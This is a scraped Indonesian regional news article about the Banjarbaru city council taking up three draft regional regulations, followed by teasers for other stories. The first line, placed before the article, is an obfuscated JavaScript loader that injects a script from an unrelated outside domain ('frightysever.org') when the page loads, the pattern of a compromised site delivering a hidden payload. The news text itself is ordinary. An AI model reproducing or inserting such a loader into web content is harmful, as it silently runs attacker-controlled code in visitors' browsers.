(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memastikan menindaklanjuti usulan dua pembahasan Rancangan Peraturan Daerah (Rapeda) dari eksekutif.
Dua Raperda itu yakni Raperda tentang penyelenggaraan penanggulangan bencana,
Dan Raperda tentang perubahan atas Perda Banjarbaru Nomor 30 Tahun 2011 tentang retribusi izin trayek.
Sementara itu satu Raperda dari Usulan Inisiatif DPRD Kota Banjarbaru tentang fasilitasi pondok pesantren.
Baca juga : Ini Dua Raperda Penyampaian dari Eksekutif ke DPRD Banjarbaru
Ketua DPRD Kota Banjarbaru M Fadliansyah mengatakan, ketiga usulan Raperda tersebut akan ditindaklanjuti dengan penyampaian pandangan fraksi-fraksi melalui rapat paripurna yang akan digelar pada Selasa (9/11/2021) mendatang.
“Sesuai jadwal yang telah ditetapkan, akan disampaikan melalui pemandangan umum fraksi-fraksi terhadap tiga Raperda tersebut,” ujar Fadli –biasa disapa-. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
This website uses cookies.